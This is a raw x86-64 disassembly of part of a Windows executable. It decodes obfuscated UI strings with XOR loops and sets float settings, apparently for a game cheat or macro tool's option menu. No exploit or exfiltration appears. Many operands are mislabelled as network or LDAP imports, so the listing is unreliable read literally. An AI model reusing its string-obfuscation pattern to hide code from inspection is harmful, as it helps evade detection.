mov byte [rbp + 0x12a], al
mov dl, 0x52
lea rcx, [rbp + 0x120]
call fcn.14002c170
mov byte [rbp + 0x12b], al
xor eax, eax
mov byte [rbp + 0x12c], al
mov rdi, r15
mov rdx, rdi
lea rcx, [rbp + 0x121]
call fcn.14002c180
movzx edx, byte [rax]
lea rcx, [rbp + 0x120]
call fcn.14002c170
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x121]
call fcn.14002c180
mov byte [rax], bl
inc rdi
cmp rdi, 0xb
jb 0x140026e21
mov edx, listen
lea rcx, [rbp + 0x121]
call fcn.14002c180
mov byte [rax], r15b
lea rcx, [rbp + 0x121]
call fcn.140006740
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], rsi
movaps xmm3, xmm10
movss xmm2, dword [0x14014b484]
lea rdx, [0x14016033c]
mov rcx, rax
call fcn.140087db0
test al, al
je 0x140026ec9
movss xmm0, dword [0x14016033c]
mulss xmm0, xmm12
movss dword [0x140160204], xmm0
movss dword [0x140160110], xmm0
mov byte [0x1401613cf], 1
movaps xmm0, xmm14
call fcn.140055340
movss xmm1, dword [0x14016033c]
movss dword [0x140160338], xmm1
movss dword [0x140160348], xmm1
jmp 0x1400278cf
mov byte [rbp + 0x60], Ordinal_33
mov dl, 0x25
lea rcx, [rbp + 0x60]
call fcn.14002c170
mov byte [rbp + 0x61], al
mov dl, 0x33
lea rcx, [rbp + 0x60]
call fcn.14002c170
mov byte [rbp + 0x62], al
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x60]
call fcn.14002c170
mov byte [rbp + 0x63], al
mov dl, Ordinal_50
lea rcx, [rbp + 0x60]
call fcn.14002c170
mov byte [rbp + 0x64], al
mov dl, 0x66
lea rcx, [rbp + 0x60]
call fcn.14002c170
mov byte [rbp + 0x65], al
mov dl, 0x25
lea rcx, [rbp + 0x60]
call fcn.14002c170
mov byte [rbp + 0x66], al
mov dl, 0x25
lea rcx, [rbp + 0x60]
call fcn.14002c170
mov byte [rbp + 0x67], al
xor eax, eax
mov byte [rbp + 0x68], al
mov rdi, r15
nop dword [rax]
mov rdx, rdi
lea rcx, [rbp + 0x61]
call fcn.14002c180
movzx edx, byte [rax]
lea rcx, [rbp + 0x60]
call fcn.14002c170
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x61]
call fcn.14002c180
mov byte [rax], bl
inc rdi
cmp rdi, 7
jb 0x140026f60
mov edx, 7
lea rcx, [rbp + 0x61]
call fcn.14002c180
mov byte [rax], r15b
lea rcx, [rbp + 0x61]
call fcn.140006740
mov rsi, rax
mov byte [rbp + 0x130], 0x77
mov dl, 0x4b
lea rcx, [rbp + 0x130]
call fcn.14002c170
mov byte [rbp + 0x131], al
mov dl, 0x42
lea rcx, [rbp + 0x130]
call fcn.14002c170
mov byte [rbp + 0x132], al
mov dl, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rbp + 0x130]
call fcn.14002c170
mov byte [rbp + 0x133], al
mov dl, 0x4d
lea rcx, [rbp + 0x130]
call fcn.14002c170
mov byte [rbp + 0x134], al
mov dl, reloc.WLDAP32.dll_Ordinal_79
lea rcx, [rbp + 0x130]
call fcn.14002c170
mov byte [rbp + 0x135], al
mov dl, 0x44
lea rcx, [rbp + 0x130]
call fcn.14002c170
mov byte [rbp + 0x136], al
mov dl, 0x49
lea rcx, [rbp + 0x130]
call fcn.14002c170
mov byte [rbp + 0x137], al
mov dl, 0x46
lea rcx, [rbp + 0x130]
call fcn.14002c170
mov byte [rbp + 0x138], al
mov dl, 0x49
lea rcx, [rbp + 0x130]
call fcn.14002c170
mov byte [rbp + 0x139], al
mov dl, 0x45
lea rcx, [rbp + 0x130]
call fcn.14002c170
mov byte [rbp + 0x13a], al
mov dl, 0x52
lea rcx, [rbp + 0x130]
call fcn.14002c170
mov byte [rbp + 0x13b], al
xor eax, eax
mov byte [rbp + 0x13c], al
mov rdi, r15
nop dword [rax]
mov rdx, rdi
lea rcx, [rbp + 0x131]
call fcn.14002c180
movzx edx, byte [rax]
lea rcx, [rbp + 0x130]
call fcn.14002c170
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x131]
call fcn.14002c180
mov byte [rax], bl
inc rdi
cmp rdi, 0xb
jb 0x1400270a0
mov edx, listen
lea rcx, [rbp + 0x131]
call fcn.14002c180
mov byte [rax], r15b
lea rcx, [rbp + 0x131]
call fcn.140006740
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], rsi
movaps xmm3, xmm9
movaps xmm2, xmm13
lea rdx, [0x14016033c]
mov rcx, rax
call fcn.140086c80
test al, al
je 0x140026ed2
movss xmm1, dword [0x14016033c]
movaps xmm0, xmm1
mulss xmm0, xmm12
movss dword [0x140160204], xmm0
movss dword [0x140160110], xmm0
mov byte [0x1401613cf], 1
jmp 0x140026eda
movss dword [0x140160328], xmm0
cmp byte [reloc.WS2_32.dll_accept], r15b
je 0x1400276a1
movaps xmm0, xmm8
call fcn.140055340
mov byte [rbp - 0x2c], 0x76
mov dl, 0x25
lea rcx, [rbp - 0x2c]
call fcn.14002c170
mov byte [rbp - 0x2b], al
mov dl, 0x30
lea rcx, [rbp - 0x2c]
call fcn.14002c170
mov byte [rbp - 0x2a], al
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp - 0x2c]
call fcn.14002c170
mov byte [rbp - 0x29], al
mov dl, 0x33
lea rcx, [rbp - 0x2c]
call fcn.14002c170
mov byte [rbp - 0x28], al
mov dl, 0x66
lea rcx, [rbp - 0x2c]
call fcn.14002c170
mov byte [rbp - 0x27], al
xor eax, eax
mov byte [rbp - 0x26], al
mov rdi, r15
mov rdx, rdi
lea rcx, [rbp - 0x2b]
call fcn.14002c180
movzx edx, byte [rax]
lea rcx, [rbp - 0x2c]
call fcn.14002c170
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp - 0x2b]
call fcn.14002c180
mov byte [rax], bl
inc rdi
cmp rdi, 5
jb 0x1400271c0
mov edx, 5
lea rcx, [rbp - 0x2b]
call fcn.14002c180
mov byte [rax], r15b
lea rcx, [rbp - 0x2b]
call fcn.140006740
mov rsi, rax
mov byte [rbp + 0x1a0], 0x75
mov dl, reloc.WLDAP32.dll_Ordinal_35
lea rcx, [rbp + 0x1a0]
call fcn.14002c170
mov byte [rbp + 0x1a1], al
mov dl, reloc.WLDAP32.dll_Ordinal_35
lea rcx, [rbp + 0x1a0]
call fcn.14002c170
mov byte [rbp + 0x1a2], al
mov dl, 0x6b
lea rcx, [rbp + 0x1a0]
call fcn.14002c170
mov byte [rbp + 0x1a3], al
mov dl, 0x62
lea rcx, [rbp + 0x1a0]
call fcn.14002c170
mov byte [rbp + 0x1a4], al
mov dl, 0x5f
lea rcx, [rbp + 0x1a0]
call fcn.14002c170
mov byte [rbp + 0x1a5], al
mov dl, 0x6d
lea rcx, [rbp + 0x1a0]
call fcn.14002c170
mov byte [rbp + 0x1a6], al
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x1a0]
call fcn.14002c170
mov byte [rbp + 0x1a7], al
mov dl, 0x64
lea rcx, [rbp + 0x1a0]
call fcn.14002c170
mov byte [rbp + 0x1a8], al
mov dl, 0x69
lea rcx, [rbp + 0x1a0]
call fcn.14002c170
mov byte [rbp + 0x1a9], al
mov dl, 0x66
lea rcx, [rbp + 0x1a0]
call fcn.14002c170
mov byte [rbp + 0x1aa], al
mov dl, 0x69
lea rcx, [rbp + 0x1a0]
call fcn.14002c170
mov byte [rbp + 0x1ab], al
mov dl, 0x65
lea rcx, [rbp + 0x1a0]
call fcn.14002c170
mov byte [rbp + 0x1ac], al
mov dl, WSAStartup
lea rcx, [rbp + 0x1a0]
call fcn.14002c170
mov byte [rbp + 0x1ad], al
mov dl, 0x5f
lea rcx, [rbp + 0x1a0]
call fcn.14002c170
mov byte [rbp + 0x1ae], al
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x1a0]
call fcn.14002c170
mov byte [rbp + 0x1af], al
mov dl, 0x6c
lea rcx, [rbp + 0x1a0]
call fcn.14002c170
mov byte [rbp + 0x1b0], al
mov dl, 0x69
lea rcx, [rbp + 0x1a0]
call fcn.14002c170
mov byte [rbp + 0x1b1], al
mov dl, 0x64
lea rcx, [rbp + 0x1a0]
call fcn.14002c170
mov byte [rbp + 0x1b2], al
mov dl, 0x65
lea rcx, [rbp + 0x1a0]
call fcn.14002c170
mov byte [rbp + 0x1b3], al
mov dl, WSAStartup
lea rcx, [rbp + 0x1a0]
call fcn.14002c170
mov byte [rbp + 0x1b4], al
xor eax, eax
mov byte [rbp + 0x1b5], al
mov rdi, r15
mov rdx, rdi
lea rcx, [rbp + 0x1a1]
call fcn.14002c180
movzx edx, byte [rax]
lea rcx, [rbp + 0x1a0]
call fcn.14002c170
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x1a1]
call fcn.14002c180
mov byte [rax], bl
inc rdi
cmp rdi, 0x14
jb 0x1400273b1
mov edx, reloc.WS2_32.dll_sendto
lea rcx, [rbp + 0x1a1]
call fcn.14002c180
mov byte [rax], r15b
lea rcx, [rbp + 0x1a1]
call fcn.140006740
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], rsi
movaps xmm3, xmm9
movaps xmm2, xmm10
lea rdx, [0x140160328]
mov rcx, rax
call fcn.140086c80
test al, al
je 0x140027450
movss xmm0, dword [0x140160328]
movss dword [0x140160204], xmm0
movss dword [0x140160110], xmm0
mov byte [0x1401613cf], 1
movaps xmm1, xmm11
movaps xmm0, xmm9
call fcn.1400551a0
mov byte [rbp - 0x44], 0x75
mov dl, 0x25
lea rcx, [rbp - 0x44]
call fcn.14002c170
mov byte [rbp - 0x43], al
mov dl, 0x30
lea rcx, [rbp - 0x44]
call fcn.14002c170
mov byte [rbp - 0x42], al
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp - 0x44]
call fcn.14002c170
mov byte [rbp - 0x41], al
mov dl, 0x34
lea rcx, [rbp - 0x44]
call fcn.14002c170
mov byte [rbp - 0x40], al
mov dl, 0x66
lea rcx, [rbp - 0x44]
call fcn.14002c170
mov byte [rbp - 0x3f], al
xor eax, eax
mov byte [rbp - 0x3e], al
mov rdi, r15
nop
mov rdx, rdi
lea rcx, [rbp - 0x43]
call fcn.14002c180
movzx edx, byte [rax]
lea rcx, [rbp - 0x44]
call fcn.14002c170
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp - 0x43]
call fcn.14002c180
mov byte [rax], bl
inc rdi
cmp rdi, 5
jb 0x1400274b0
mov edx, 5
lea rcx, [rbp - 0x43]
call fcn.14002c180
mov byte [rax], r15b
lea rcx, [rbp - 0x43]
call fcn.140006740
mov rsi, rax
mov byte [rbp + 0x110], WSAGetLastError
mov dl, 0x4b
lea rcx, [rbp + 0x110]
call fcn.14002c170
mov byte [rbp + 0x111], al
mov dl, 0x42
lea rcx, [rbp + 0x110]
call fcn.14002c170
mov byte [rbp + 0x112], al
mov dl, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rbp + 0x110]
call fcn.14002c170
mov byte [rbp + 0x113], al
mov dl, 0x4d
lea rcx, [rbp + 0x110]
call fcn.14002c170
mov byte [rbp + 0x114], al
mov dl, reloc.WLDAP32.dll_Ordinal_79
lea rcx, [rbp + 0x110]
call fcn.14002c170
mov byte [rbp + 0x115], al
mov dl, 0x44
lea rcx, [rbp + 0x110]
call fcn.14002c170
mov byte [rbp + 0x116], al
mov dl, 0x49
lea rcx, [rbp + 0x110]
call fcn.14002c170
mov byte [rbp + 0x117], al
mov dl, 0x46
lea rcx, [rbp + 0x110]
call fcn.14002c170
mov byte [rbp + 0x118], al
mov dl, 0x49
lea rcx, [rbp + 0x110]
call fcn.14002c170
mov byte [rbp + 0x119], al
mov dl, 0x45
lea rcx, [rbp + 0x110]
call fcn.14002c170
mov byte [rbp + 0x11a], al
mov dl, 0x52
lea rcx, [rbp + 0x110]
call fcn.14002c170
mov byte [rbp + 0x11b], al
xor eax, eax
mov byte [rbp + 0x11c], al
mov rdi, r15
nop dword [rax]
mov rdx, rdi
lea rcx, [rbp + 0x111]
call fcn.14002c180
movzx edx, byte [rax]
lea rcx, [rbp + 0x110]
call fcn.14002c170
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x111]
call fcn.14002c180
mov byte [rax], bl
inc rdi
cmp rdi, 0xb
jb 0x1400275f0
mov edx, listen
lea rcx, [rbp + 0x111]
call fcn.14002c180
mov byte [rax], r15b
lea rcx, [rbp + 0x111]
call fcn.140006740
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], rsi
movaps xmm3, xmm10
movss xmm2, dword [0x14014b46c]
lea rdx, [0x140160328]
mov rcx, rax
call fcn.140087db0
test al, al
je 0x140027693
movss xmm0, dword [0x140160328]
movss dword [0x140160204], xmm0
movss dword [0x140160110], xmm0
mov byte [0x1401613cf], 1
movaps xmm0, xmm14
call fcn.140055340
jmp 0x1400278cf
mov byte [rbp - 0x3c], 0x60
mov dl, 0x25
lea rcx, [rbp - 0x3c]
call fcn.14002c170
mov byte [rbp - 0x3b], al
mov dl, 0x30
lea rcx, [rbp - 0x3c]
call fcn.14002c170
mov byte [rbp - 0x3a], al
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp - 0x3c]
call fcn.14002c170
mov byte [rbp - 0x39], al
mov dl, 0x33
lea rcx, [rbp - 0x3c]
call fcn.14002c170
mov byte [rbp - 0x38], al
mov dl, 0x66
lea rcx, [rbp - 0x3c]
call fcn.14002c170
mov byte [rbp - 0x37], al
xor eax, eax
mov byte [rbp - 0x36], al
mov rdi, r15
mov rdx, rdi
lea rcx, [rbp - 0x3b]
call fcn.14002c180
movzx edx, byte [rax]
lea rcx, [rbp - 0x3c]
call fcn.14002c170
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp - 0x3b]
call fcn.14002c180
mov byte [rax], bl
inc rdi
cmp rdi, 5
jb 0x1400276f3
mov edx, 5
lea rcx, [rbp - 0x3b]
call fcn.14002c180
mov byte [rax], r15b
lea rcx, [rbp - 0x3b]
call fcn.140006740
mov rsi, rax
mov byte [rbp + 0x100], Ordinal_45
mov dl, 0x4b
lea rcx, [rbp + 0x100]
call fcn.14002c170
mov byte [rbp + 0x101], al
mov dl, 0x42
lea rcx, [rbp + 0x100]
call fcn.14002c170
mov byte [rbp + 0x102], al
mov dl, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rbp + 0x100]
call fcn.14002c170
mov byte [rbp + 0x103], al
mov dl, 0x4d
lea rcx, [rbp + 0x100]
call fcn.14002c170
mov byte [rbp + 0x104], al
mov dl, reloc.WLDAP32.dll_Ordinal_79
lea rcx, [rbp + 0x100]
call fcn.14002c170
mov byte [rbp + 0x105], al
mov dl, 0x44
lea rcx, [rbp + 0x100]
call fcn.14002c170
mov byte [rbp + 0x106], al
mov dl, 0x49
lea rcx, [rbp + 0x100]
call fcn.14002c170
mov byte [rbp + 0x107], al
mov dl, 0x46
lea rcx, [rbp + 0x100]
call fcn.14002c170
mov byte [rbp + 0x108], al
mov dl, 0x49
lea rcx, [rbp + 0x100]
call fcn.14002c170
mov byte [rbp + 0x109], al
mov dl, 0x45
lea rcx, [rbp + 0x100]
call fcn.14002c170
mov byte [rbp + 0x10a], al
mov dl, 0x52
lea rcx, [rbp + 0x100]
call fcn.14002c170
mov byte [rbp + 0x10b], al
xor eax, eax
mov byte [rbp + 0x10c], al
mov rdi, r15
mov rdx, rdi
lea rcx, [rbp + 0x101]
call fcn.14002c180
movzx edx, byte [rax]
lea rcx, [rbp + 0x100]
call fcn.14002c170
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x101]
call fcn.14002c180
mov byte [rax], bl
inc rdi
cmp rdi, 0xb
jb 0x140027830
mov edx, listen
lea rcx, [rbp + 0x101]
call fcn.14002c180
mov byte [rax], r15b
lea rcx, [rbp + 0x101]
call fcn.140006740
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], rsi
movaps xmm3, xmm9
movaps xmm2, xmm10
lea rdx, [0x140160328]
mov rcx, rax
call fcn.140086c80
test al, al
je 0x1400278cf
movss xmm0, dword [0x140160328]
movss dword [0x140160204], xmm0
movss dword [0x140160110], xmm0
mov byte [0x1401613cf], 1
mov ecx, 2
call fcn.1400443d0
call fcn.140083870
mov byte [rbp + 0x690], reloc.WLDAP32.dll_Ordinal_32
mov al, reloc.WS2_32.dll_WSASetLastError
mov cl, 0x65
mov dl, WSAStartup
mov r8b, 0x63
movzx r9d, cl
mov r10b, WSASetLastError
mov r11b, reloc.WS2_32.dll_WSACleanup
mov bl, 0x61
mov dil, 0x67
movzx esi, cl
xor al, 0x20
mov byte [rbp + 0x691], al
xor cl, 0x20
mov byte [rbp + 0x692], cl
xor dl, 0x20
mov byte [rbp + 0x693], dl
xor r8b, 0x20
mov byte [rbp + 0x694], r8b
xor r9b, 0x20
mov byte [rbp + 0x695], r9b
xor r10b, 0x20
mov byte [rbp + 0x696], r10b
xor r11b, 0x20
mov byte [rbp + 0x697], r11b
xor bl, 0x20
mov byte [rbp + 0x698], bl
xor dil, 0x20
mov byte [rbp + 0x699], dil
xor sil, 0x20
mov byte [rbp + 0x69a], sil
mov byte [rbp + 0x69b], r15b
lea rdx, [0x14016011c]
lea rcx, [rbp + 0x691]
call fcn.140082b60
movaps xmm1, xmm11
movaps xmm0, xmm9
call fcn.1400551a0
movdqa xmm1, xmmword [0x14014bc50]
movdqu xmmword [rbp + 0x3b0], xmm1
mov dl, 0x3a
mov r8b, Ordinal_60
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rbp + 0x3b1], al
xor byte [rbp + 0x3b2], cl
xor byte [rbp + 0x3b3], cl
xor byte [rbp + 0x3b4], cl
xor byte [rbp + 0x3b5], cl
xor byte [rbp + 0x3b6], cl
xor byte [rbp + 0x3b7], cl
xor byte [rbp + 0x3b8], cl
xor byte [rbp + 0x3b9], cl
xor byte [rbp + 0x3ba], cl
xor byte [rbp + 0x3bb], cl
xor byte [rbp + 0x3bc], cl
xor byte [rbp + 0x3bd], cl
xor byte [rbp + 0x3be], cl
xor byte [rbp + 0x3bf], cl
xor dl, cl
mov byte [rbp + 0x3c0], dl
xor r8b, cl
mov byte [rbp + 0x3c1], r8b
mov byte [rbp + 0x3c2], r15b
lea rdx, [0x140161514]
lea rcx, [rbp + 0x3b1]
call fcn.140082b60
test al, al
je 0x140027a85
cmp byte [reloc.WS2_32.dll_accept], r15b
je 0x140027a66
movss xmm0, dword [0x14016033c]
movss dword [0x140160338], xmm0
movss dword [0x140160348], xmm0
mulss xmm0, xmm12
jmp 0x140027a6e
movss xmm0, dword [0x140160328]
movss dword [0x140160110], xmm0
movss dword [0x140160204], xmm0
mov byte [0x1401613cf], 1
mov byte [rbp + 0x660], Ordinal_30
mov al, 0x48
mov cl, 0x4a
mov dl, 0x5d
mov r8b, 0x5b
mov r9b, 0x51
mov r10b, 0x4b
movzx r11d, r9b
mov bl, 0x57
mov dil, 0x56
xor esi, esi
xor al, 0x18
mov byte [rbp + 0x661], al
xor cl, 0x18
mov byte [rbp + 0x662], cl
xor dl, 0x18
mov byte [rbp + 0x663], dl
xor r8b, 0x18
mov byte [rbp + 0x664], r8b
xor r9b, 0x18
mov byte [rbp + 0x665], r9b
xor r10b, 0x18
mov byte [rbp + 0x666], r10b
xor r11b, 0x18
mov byte [rbp + 0x667], r11b
xor bl, 0x18
mov byte [rbp + 0x668], bl
xor dil, 0x18
mov byte [rbp + 0x669], dil
mov byte [rbp + 0x66a], sil
lea rdx, [0x14016011d]
lea rcx, [rbp + 0x661]
call fcn.140082b60
movaps xmm1, xmm11
movaps xmm0, xmm9
call fcn.1400551a0
call fcn.140055250
addss xmm0, dword [0x14014b5c8]
call fcn.140055280
movdqa xmm1, xmmword [0x14014bde0]
movdqu xmmword [rbp + 0x3e0], xmm1
mov dl, 0x41
mov r8b, 0x42
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rbp + 0x3e1], al
xor byte [rbp + 0x3e2], cl
xor byte [rbp + 0x3e3], cl
xor byte [rbp + 0x3e4], cl
xor byte [rbp + 0x3e5], cl
xor byte [rbp + 0x3e6], cl
xor byte [rbp + 0x3e7], cl
xor byte [rbp + 0x3e8], cl
xor byte [rbp + 0x3e9], cl
xor byte [rbp + 0x3ea], cl
xor byte [rbp + 0x3eb], cl
xor byte [rbp + 0x3ec], cl
xor byte [rbp + 0x3ed], cl
xor byte [rbp + 0x3ee], cl
xor byte [rbp + 0x3ef], cl
xor dl, cl
mov byte [rbp + 0x3f0], dl
xor r8b, cl
mov byte [rbp + 0x3f1], r8b
mov byte [rbp + 0x3f2], sil
lea rdx, [0x1401613cc]
lea rcx, [rbp + 0x3e1]
call fcn.140082b60
test al, al
je 0x140027bf2
mov byte [0x1401613cf], 1
xor ecx, ecx
call fcn.140047120
test al, al
je 0x1400282e5
movdqa xmm1, xmmword [0x14014bf70]
movdqu xmmword [rbp + 0x410], xmm1
movdqa xmm2, xmmword [0x14014bdc0]
movdqu xmmword [rbp + 0x420], xmm2
mov dl, 0x42
mov r8b, 0x48
mov r9b, 0x40
movzx r10d, dl
mov r11b, 0x45
mov bl, 0x4c
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rbp + 0x411], al
xor byte [rbp + 0x412], cl
xor byte [rbp + 0x413], cl
xor byte [rbp + 0x414], cl
xor byte [rbp + 0x415], cl
xor byte [rbp + 0x416], cl
xor byte [rbp + 0x417], cl
xor byte [rbp + 0x418], cl
xor byte [rbp + 0x419], cl
xor byte [rbp + 0x41a], cl
xor byte [rbp + 0x41b], cl
xor byte [rbp + 0x41c], cl
xor byte [rbp + 0x41d], cl
xor byte [rbp + 0x41e], cl
xor byte [rbp + 0x41f], cl
movd eax, xmm2
xor al, cl
mov byte [rbp + 0x420], al
xor byte [rbp + 0x421], cl
xor byte [rbp + 0x422], cl
xor byte [rbp + 0x423], cl
xor byte [rbp + 0x424], cl
xor byte [rbp + 0x425], cl
xor byte [rbp + 0x426], cl
xor byte [rbp + 0x427], cl
xor byte [rbp + 0x428], cl
xor byte [rbp + 0x429], cl
xor byte [rbp + 0x42a], cl
xor byte [rbp + 0x42b], cl
xor byte [rbp + 0x42c], cl
xor byte [rbp + 0x42d], cl
xor byte [rbp + 0x42e], cl
xor byte [rbp + 0x42f], cl
xor dl, cl
mov byte [rbp + 0x430], dl
xor r8b, cl
mov byte [rbp + 0x431], r8b
xor r9b, cl
mov byte [rbp + 0x432], r9b
xor r10b, cl
mov byte [rbp + 0x433], r10b
xor r11b, cl
mov byte [rbp + 0x434], r11b
xor bl, cl
mov byte [rbp + 0x435], bl
mov byte [rbp + 0x436], sil
lea rcx, [rbp + 0x411]
call fcn.140056580
jmp 0x1400282e5
cmp dword [0x14016165c], 0
je 0x1400282d6
mov byte [rbp + 0x55c], 5
mov al, reloc.WLDAP32.dll_Ordinal_32
mov cl, 0x2b
mov dl, 0x37
mov r8b, 0x63
mov r9b, 0x7d
xor r10d, r10d
xor al, 5
mov byte [rbp + 0x55d], al
xor cl, 5
mov byte [rbp + 0x55e], cl
xor dl, 5
mov byte [rbp + 0x55f], dl
xor r8b, 5
mov byte [rbp + 0x560], r8b
xor r9b, 5
mov byte [rbp + 0x561], r9b
mov byte [rbp + 0x562], r10b
mov byte [rbp + 0x534], Ordinal_50
mov al, 0x65
mov cl, 0x78
mov dl, 0x7c
mov r8b, reloc.WS2_32.dll_WSACleanup
mov r9b, 0x63
xor al, 0x31
mov byte [rbp + 0x535], al
xor cl, 0x31
mov byte [rbp + 0x536], cl
xor dl, 0x31
mov byte [rbp + 0x537], dl
xor r8b, 0x31
mov byte [rbp + 0x538], r8b
xor r9b, 0x31
mov byte [rbp + 0x539], r9b
mov byte [rbp + 0x53a], r10b
mov dword [rsp + 0x28], reloc.WLDAP32.dll_Ordinal_32
lea rax, [rbp + 0x55d]
mov qword [rsp + 0x20], rax
movss xmm3, dword [0x14014b598]
movaps xmm2, xmm10
lea rdx, [0x140160214]
lea rcx, [rbp + 0x535]
call fcn.140086c80
test al, al
je 0x140027e37
mov byte [0x14016133d], 1
movdqa xmm1, xmmword [0x14014bba0]
movdqu xmmword [rbp + 0x468], xmm1
mov dl, reloc.WLDAP32.dll_Ordinal_33
mov r8b, reloc.WLDAP32.dll_Ordinal_41
mov r9b, 0x3e
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rbp + 0x469], al
xor byte [rbp + 0x46a], cl
xor byte [rbp + 0x46b], cl
xor byte [rbp + 0x46c], cl
xor byte [rbp + 0x46d], cl
xor byte [rbp + 0x46e], cl
xor byte [rbp + 0x46f], cl
xor byte [rbp + 0x470], cl
xor byte [rbp + 0x471], cl
xor byte [rbp + 0x472], cl
xor byte [rbp + 0x473], cl
xor byte [rbp + 0x474], cl
xor byte [rbp + 0x475], cl
xor byte [rbp + 0x476], cl
xor byte [rbp + 0x477], cl
xor dl, cl
mov byte [rbp + 0x478], dl
xor r8b, cl
mov byte [rbp + 0x479], r8b
xor r9b, cl
mov byte [rbp + 0x47a], r9b
mov byte [rbp + 0x47b], 0
lea rdx, [0x140161339]
lea rcx, [rbp + 0x469]
call fcn.140082b60
test al, al
je 0x140027efd
mov byte [0x14016133d], 1
xor ecx, ecx
call fcn.140047120
test al, al
je 0x140028233
mov byte [rbp + 0x1f8], reloc.WLDAP32.dll_Ordinal_30
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x1f8]
call fcn.14002c170
mov byte [rbp + 0x1f9], al
mov dl, WSAGetLastError
lea rcx, [rbp + 0x1f8]
call fcn.14002c170
mov byte [rbp + 0x1fa], al
mov dl, 0x6c
lea rcx, [rbp + 0x1f8]
call fcn.14002c170
mov byte [rbp + 0x1fb], al
mov dl, 0x79
lea rcx, [rbp + 0x1f8]
call fcn.14002c170
mov byte [rbp + 0x1fc], al
mov dl, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rbp + 0x1f8]
call fcn.14002c170
mov byte [rbp + 0x1fd], al
mov dl, 0x61
lea rcx, [rbp + 0x1f8]
call fcn.14002c170
mov byte [rbp + 0x1fe], al
mov dl, 0x63
lea rcx, [rbp + 0x1f8]
call fcn.14002c170
mov byte [rbp + 0x1ff], al
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x1f8]
call fcn.14002c170
mov byte [rbp + 0x200], al
mov dl, 0x69
lea rcx, [rbp + 0x1f8]
call fcn.14002c170
mov byte [rbp + 0x201], al
mov dl, 0x76
lea rcx, [rbp + 0x1f8]
call fcn.14002c170
mov byte [rbp + 0x202], al
mov dl, 0x61
lea rcx, [rbp + 0x1f8]
call fcn.14002c170
mov byte [rbp + 0x203], al
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x1f8]
call fcn.14002c170
mov byte [rbp + 0x204], al
mov dl, 0x65
lea rcx, [rbp + 0x1f8]
call fcn.14002c170
mov byte [rbp + 0x205], al
mov dl, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rbp + 0x1f8]
call fcn.14002c170
mov byte [rbp + 0x206], al
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x1f8]
call fcn.14002c170
mov byte [rbp + 0x207], al
mov dl, 0x69
lea rcx, [rbp + 0x1f8]
call fcn.14002c170
mov byte [rbp + 0x208], al
mov dl, 0x6d
lea rcx, [rbp + 0x1f8]
call fcn.14002c170
mov byte [rbp + 0x209], al
mov dl, 0x65
lea rcx, [rbp + 0x1f8]
call fcn.14002c170
mov byte [rbp + 0x20a], al
mov dl, WSAStartup
lea rcx, [rbp + 0x1f8]
call fcn.14002c170
mov byte [rbp + 0x20b], al
mov dl, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rbp + 0x1f8]
call fcn.14002c170
mov byte [rbp + 0x20c], al
mov dl, 0x77
lea rcx, [rbp + 0x1f8]
call fcn.14002c170
mov byte [rbp + 0x20d], al
mov dl, 0x68
lea rcx, [rbp + 0x1f8]
call fcn.14002c170
mov byte [rbp + 0x20e], al
mov dl, 0x69
lea rcx, [rbp + 0x1f8]
call fcn.14002c170
mov byte [rbp + 0x20f], al
mov dl, 0x6c
lea rcx, [rbp + 0x1f8]
call fcn.14002c170
mov byte [rbp + 0x210], al
mov dl, 0x65
lea rcx, [rbp + 0x1f8]
call fcn.14002c170
mov byte [rbp + 0x211], al
mov dl, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rbp + 0x1f8]
call fcn.14002c170
mov byte [rbp + 0x212], al
mov dl, 0x63
lea rcx, [rbp + 0x1f8]
call fcn.14002c170
mov byte [rbp + 0x213], al
mov dl, 0x6c
lea rcx, [rbp + 0x1f8]
call fcn.14002c170
mov byte [rbp + 0x214], al
mov dl, 0x69
lea rcx, [rbp + 0x1f8]
call fcn.14002c170
mov byte [rbp + 0x215], al
mov dl, 0x63
lea rcx, [rbp + 0x1f8]
call fcn.14002c170
mov byte [rbp + 0x216], al
mov dl, 0x6b
lea rcx, [rbp + 0x1f8]
call fcn.14002c170
mov byte [rbp + 0x217], al
mov dl, 0x69
lea rcx, [rbp + 0x1f8]
call fcn.14002c170
mov byte [rbp + 0x218], al
mov dl, WSAGetLastError
lea rcx, [rbp + 0x1f8]
call fcn.14002c170
mov byte [rbp + 0x219], al
mov dl, 0x67
lea rcx, [rbp + 0x1f8]
call fcn.14002c170
